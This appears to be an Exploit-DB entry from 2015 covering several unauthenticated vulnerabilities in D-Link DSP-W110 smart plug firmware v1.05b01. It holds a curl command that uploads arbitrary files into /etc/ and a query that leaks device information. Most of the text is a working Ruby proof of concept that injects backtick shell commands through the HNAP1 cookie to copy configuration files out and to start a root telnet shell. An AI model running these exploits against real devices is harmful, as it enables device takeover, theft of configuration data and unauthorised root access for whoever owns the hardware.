D-Link DSP-W w110 v1.05b01 - Multiple Vulnerabilities

EDB-ID:

37454

CVE:


Author:

DNO

Type:

webapps

Platform:

Hardware

Published:

2015-07-01

# Exploit Title: D-Link DSP-W Arbitrary Arbitrary file upload
# Date: 30/06/2015
# Exploit Author: DNO
# Vendor Homepage: [link]
# Version: w110 v1.05b01
# Tested on: linux
# CVE :  N/A

========================================

the only 'filtering' on this resources appears to be a sprintf()
call which statically prefixes a submitted 'dev' argument with '/www'.
However,
if a HTTP request is performed without a 'dev' argument at all, the
sprintf() call is never reached,
and a fully-qualified path can be provided in the 'path' parameter -
bypassing the upload path restriction.

***************
# Upload arbitrary files to the device.
echo 'Some String' > test.txt
curl \
 -X POST \
 -i \
 -F name=@test.txt \
 --http1.0 \
 '192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/'

 ========================================

# Exploit Title: D-Link DSP-W Diagnostic Information " Get info"
# Date: 30/06/2015
# Exploit Author: DNO
# Version: w110 v1.05b01
# Tested on: linux
# CVE : N/A

========================================
Severity Level:
===============
High
===============
Patches made to lighttpd by the vendor of this device allows an attacker to
query the device, without authentication, for the following information:

# Current WLAN SSIDs
# Current WLAN channels
# LAN and WAN MAC addressing
# Current firmware version information
# Hardware version information

Although not sensitive information, it may allow for identification of
devices running vulnerable firmware versions.

=========================================
# Information query.
curl \
192.168.1.3/mplist.txt

========================================
#ruby poc
----

# DSP-W110-Lighttpd PoC.

require 'pp'
require 'optparse'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = "192.168.0.60"
options[:port] = 80

OptionParser.new do |option|

option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
options[:addr] = a
end

option.on("--port [PORT]", "Destination TCP port") do |p|
options[:port] = p
end

option.parse!

end

# Define which actions we will be using.
actions = [
{
:name => "Get device information",
:call => "txt_parser",
:path => "mplist.txt",
},
{
:name => "Snatch configuration",
:call => "noop",
:path => "HNAP1",
:cookies => { :cookie => "`cp /etc/co* /www/`" }
},
{
:name => "Fetch configuration",
:call => "conf_writer",
:path => "config.sqlite",
},
{
:name => "Enable telnet (root)",
:call => "noop",
:path => "HNAP1",
:cookies => { :cookie => "`telnetd -l/bin/sh`" }
}
]

def noop(val)
return
end

def txt_parser(txt)
txt.split(/\r?\n/).each do |line|
puts " #{line}"
end
end

def conf_writer(txt)
begin
f = File.open('./config.sqlite', 'wb')
rescue => e
puts "[!] Failed to open config.sqlite for writing #{e.message}"
end
f.write(txt)
f.close
puts "[*] Configuration fetched into 'config.sqlite'"
end

# Iterate over all actions and attempt to execute.
url = "http://#{options[:addr]}:#{options[:port]}"

puts "[!] Attempting to extract information from #{url}"

actions.each do |action|

# Fire the request and ensure a 200 OKAY.
begin
response = RestClient.get(
"#{url}/#{action[:path]}",
{:cookies => action[:cookies]}
)
rescue
puts "[!] Failed to query remote host."
abort
end

if response.code != 200
puts "[-] '#{action[:name]}' failed with response: #{response.code}"
next
end

# Send to the processor.
puts "[*] #{action[:name]} request succeeded."
send(action[:call], response.body())

end
===================================

 contact me FB : FB.COM/haker.dyno
 Copyright © 2015 /DNO/